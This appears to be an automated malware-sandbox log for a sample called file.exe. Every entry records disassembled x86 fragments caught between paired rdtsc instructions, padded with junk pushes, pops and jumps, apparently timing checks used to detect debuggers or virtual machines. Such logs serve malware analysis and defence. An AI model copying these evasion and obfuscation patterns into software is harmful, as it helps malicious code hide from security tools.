Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 551D1F second address: 551D27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 551D27 second address: 551D2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 551E72 second address: 551E78 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 551E78 second address: 551E80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 551E80 second address: 551EA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF218C0A9E2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007FF218C0A9D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 551EA0 second address: 551EAA instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF2192CCE06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 551EAA second address: 551EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FF218C0A9DFh 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 553989 second address: 55399D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF2192CCE0Fh 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55511B second address: 55512E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FF218C0A9D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55512E second address: 555138 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF2192CCE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 555138 second address: 55515C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FF218C0A9D6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FF218C0A9DDh 0x00000014 pop edx 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55515C second address: 555186 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF2192CCE0Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007FF2192CCE06h 0x00000013 jmp 00007FF2192CCE0Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 555186 second address: 5551A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF218C0A9E3h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5551A6 second address: 5551AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5551AF second address: 5551B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 557E8B second address: 557E8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 557E8F second address: 557E98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 557E98 second address: 557EEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 jbe 00007FF2192CCE0Eh 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FF2192CCE08h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov dh, 4Ah 0x0000002a movzx edx, cx 0x0000002d mov dword ptr [ebp+122D2FD8h], eax 0x00000033 push 00000004h 0x00000035 mov dword ptr [ebp+122D1C37h], edi 0x0000003b push 84F749C0h 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 557EEE second address: 557EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 557EF2 second address: 557EFC instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF2192CCE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 557EFC second address: 557F0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF218C0A9DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 558106 second address: 5581CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF2192CCE12h 0x0000000b popad 0x0000000c push eax 0x0000000d je 00007FF2192CCE0Eh 0x00000013 ja 00007FF2192CCE08h 0x00000019 nop 0x0000001a call 00007FF2192CCE10h 0x0000001f jne 00007FF2192CCE08h 0x00000025 pop edx 0x00000026 push dword ptr [ebp+122D2FCBh] 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007FF2192CCE08h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 00000016h 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 mov edx, dword ptr [ebp+122D1CEEh] 0x0000004c jmp 00007FF2192CCE18h 0x00000051 call 00007FF2192CCE09h 0x00000056 pushad 0x00000057 jmp 00007FF2192CCE13h 0x0000005c push ecx 0x0000005d jnp 00007FF2192CCE06h 0x00000063 pop ecx 0x00000064 popad 0x00000065 push eax 0x00000066 jns 00007FF2192CCE10h 0x0000006c mov eax, dword ptr [esp+04h] 0x00000070 push eax 0x00000071 push edx 0x00000072 jne 00007FF2192CCE08h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 559D83 second address: 559D91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FF218C0A9D8h 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 559D91 second address: 559D96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5598E6 second address: 5598F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF218C0A9D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5598F0 second address: 5598F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5598F4 second address: 55991F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007FF218C0A9DCh 0x0000000f jmp 00007FF218C0A9E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55991F second address: 559942 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 jmp 00007FF2192CCE18h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46AC49 second address: 46AC4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46AC4F second address: 46AC63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF2192CCE0Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46AC63 second address: 46AC67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5350322 second address: 5350326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5350326 second address: 535032C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380040 second address: 538011C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d mov ecx, 7983FEB3h 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 jmp 00007FF2192CCE15h 0x0000001a xchg eax, ecx 0x0000001b pushad 0x0000001c jmp 00007FF2192CCE18h 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007FF2192CCE0Bh 0x00000028 xchg eax, ecx 0x00000029 pushad 0x0000002a call 00007FF2192CCE14h 0x0000002f pop eax 0x00000030 pushfd 0x00000031 jmp 00007FF2192CCE17h 0x00000036 sbb cl, 0000003Eh 0x00000039 jmp 00007FF2192CCE19h 0x0000003e popfd 0x0000003f popad 0x00000040 xchg eax, esi 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 call 00007FF2192CCE13h 0x00000049 pop esi 0x0000004a jmp 00007FF2192CCE19h 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 538011C second address: 5380140 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF218C0A9E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF218C0A9DCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380140 second address: 5380146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380146 second address: 5380184 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF218C0A9DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d mov esi, 589EFDC3h 0x00000012 mov ecx, 5569B31Fh 0x00000017 popad 0x00000018 lea eax, dword ptr [ebp-04h] 0x0000001b jmp 00007FF218C0A9E2h 0x00000020 nop 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov ecx, edx 0x00000026 mov eax, edx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380184 second address: 538018A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 538018A second address: 53801D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FF218C0A9E9h 0x00000010 sbb si, 2256h 0x00000015 jmp 00007FF218C0A9E1h 0x0000001a popfd 0x0000001b movzx esi, di 0x0000001e popad 0x0000001f nop 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53801D0 second address: 53801D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 538022A second address: 5380230 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53802FB second address: 5380301 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380301 second address: 5380305 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380305 second address: 5370011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c cmp eax, 00000000h 0x0000000f setne al 0x00000012 xor ebx, ebx 0x00000014 test al, 01h 0x00000016 jne 00007FF2192CCE07h 0x00000018 xor eax, eax 0x0000001a sub esp, 08h 0x0000001d mov dword ptr [esp], 00000000h 0x00000024 mov dword ptr [esp+04h], 00000000h 0x0000002c call 00007FF21E3A6243h 0x00000031 mov edi, edi 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FF2192CCE0Dh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5370011 second address: 5370030 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 mov si, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF218C0A9E1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5370030 second address: 5370076 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF2192CCE17h 0x00000009 add ah, FFFFFFAEh 0x0000000c jmp 00007FF2192CCE19h 0x00000011 popfd 0x00000012 push esi 0x00000013 pop edx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov dword ptr [esp], ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5370076 second address: 537007A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 537007A second address: 5370080 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5370080 second address: 53700AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF218C0A9DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FF218C0A9E0h 0x00000010 push FFFFFFFEh 0x00000012 pushad 0x00000013 mov edi, ecx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53700AC second address: 537012F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF2192CCE16h 0x00000009 popad 0x0000000a popad 0x0000000b push 103E5043h 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FF2192CCE13h 0x00000017 add ax, CC2Eh 0x0000001c jmp 00007FF2192CCE19h 0x00000021 popfd 0x00000022 popad 0x00000023 xor dword ptr [esp], 66F9CE0Bh 0x0000002a jmp 00007FF2192CCE0Eh 0x0000002f push 7173D6BBh 0x00000034 pushad 0x00000035 mov edi, ecx 0x00000037 popad 0x00000038 xor dword ptr [esp], 07B1FDCBh 0x0000003f pushad 0x00000040 movzx eax, dx 0x00000043 push eax 0x00000044 push edx 0x00000045 mov bl, CEh 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 537012F second address: 537015D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF218C0A9E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr fs:[00000000h] 0x00000010 pushad 0x00000011 movzx esi, bx 0x00000014 mov esi, edi 0x00000016 popad 0x00000017 push ebx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b mov cl, 65h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 537015D second address: 53701CB instructions: 0x00000000 rdtsc 0x00000002 mov di, FCFEh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007FF2192CCE15h 0x0000000f xor si, 3886h 0x00000014 jmp 00007FF2192CCE11h 0x00000019 popfd 0x0000001a pushfd 0x0000001b jmp 00007FF2192CCE10h 0x00000020 or si, 0328h 0x00000025 jmp 00007FF2192CCE0Bh 0x0000002a popfd 0x0000002b popad 0x0000002c popad 0x0000002d mov dword ptr [esp], eax 0x00000030 pushad 0x00000031 movzx eax, dx 0x00000034 movsx edx, ax 0x00000037 popad 0x00000038 sub esp, 18h 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53701CB second address: 53701E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF218C0A9E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53701E0 second address: 5370227 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 mov bh, F9h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007FF2192CCE12h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007FF2192CCE0Ch 0x0000001b xor ecx, 67DFAA48h 0x00000021 jmp 00007FF2192CCE0Bh 0x00000026 popfd 0x00000027 mov eax, 6A942DBFh 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5370227 second address: 5370249 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF218C0A9E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ecx 0x0000000f mov eax, ebx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5370249 second address: 5370294 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, si 0x00000006 mov ebx, ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007FF2192CCE14h 0x00000011 push eax 0x00000012 pushad 0x00000013 mov eax, edi 0x00000015 popad 0x00000016 xchg eax, esi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a movsx edx, cx 0x0000001d pushfd 0x0000001e jmp 00007FF2192CCE0Ch 0x00000023 add ax, 1498h 0x00000028 jmp 00007FF2192CCE0Bh 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5370294 second address: 537030E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF218C0A9E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007FF218C0A9DEh 0x0000000f push eax 0x00000010 jmp 00007FF218C0A9DBh 0x00000015 xchg eax, edi 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FF218C0A9E4h 0x0000001d and ecx, 7AAF8888h 0x00000023 jmp 00007FF218C0A9DBh 0x00000028 popfd 0x00000029 push eax 0x0000002a push edx 0x0000002b call 00007FF218C0A9E6h 0x00000030 pop eax 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 537030E second address: 5370367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [76C84538h] 0x0000000a jmp 00007FF2192CCE0Dh 0x0000000f xor dword ptr [ebp-08h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007FF2192CCE13h 0x0000001a pushfd 0x0000001b jmp 00007FF2192CCE18h 0x00000020 adc ah, FFFFFFA8h 0x00000023 jmp 00007FF2192CCE0Bh 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5370367 second address: 5370371 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 0C541A4Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5370371 second address: 537039E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor eax, ebp 0x00000009 jmp 00007FF2192CCE0Ch 0x0000000e nop 0x0000000f jmp 00007FF2192CCE10h 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 537039E second address: 53703A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53703A2 second address: 53703A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53704B0 second address: 53704B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53704B5 second address: 53704BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53704BB second address: 537053A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ecx, dword ptr [ebp+08h] 0x0000000a jmp 00007FF218C0A9E9h 0x0000000f test ecx, ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FF218C0A9E3h 0x0000001a add esi, 5D39A2AEh 0x00000020 jmp 00007FF218C0A9E9h 0x00000025 popfd 0x00000026 pushfd 0x00000027 jmp 00007FF218C0A9E0h 0x0000002c add ax, 7C28h 0x00000031 jmp 00007FF218C0A9DBh 0x00000036 popfd 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 537053A second address: 5370540 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5360010 second address: 5360016 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5360016 second address: 5360052 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, eax 0x00000005 mov ebx, ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c call 00007FF2192CCE17h 0x00000011 mov bl, cl 0x00000013 pop edi 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 call 00007FF2192CCE11h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5360052 second address: 53600DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 call 00007FF218C0A9E7h 0x0000000a pushfd 0x0000000b jmp 00007FF218C0A9E8h 0x00000010 sbb ecx, 718408A8h 0x00000016 jmp 00007FF218C0A9DBh 0x0000001b popfd 0x0000001c pop esi 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f jmp 00007FF218C0A9DFh 0x00000024 mov ebp, esp 0x00000026 jmp 00007FF218C0A9E6h 0x0000002b sub esp, 2Ch 0x0000002e jmp 00007FF218C0A9E0h 0x00000033 xchg eax, ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53600DD second address: 53600E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53600E3 second address: 53600F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF218C0A9DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53600F2 second address: 5360160 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e mov edx, 0E5F1110h 0x00000013 pushfd 0x00000014 jmp 00007FF2192CCE19h 0x00000019 xor esi, 380CE796h 0x0000001f jmp 00007FF2192CCE11h 0x00000024 popfd 0x00000025 popad 0x00000026 mov edi, esi 0x00000028 popad 0x00000029 xchg eax, ebx 0x0000002a jmp 00007FF2192CCE0Ah 0x0000002f xchg eax, edi 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
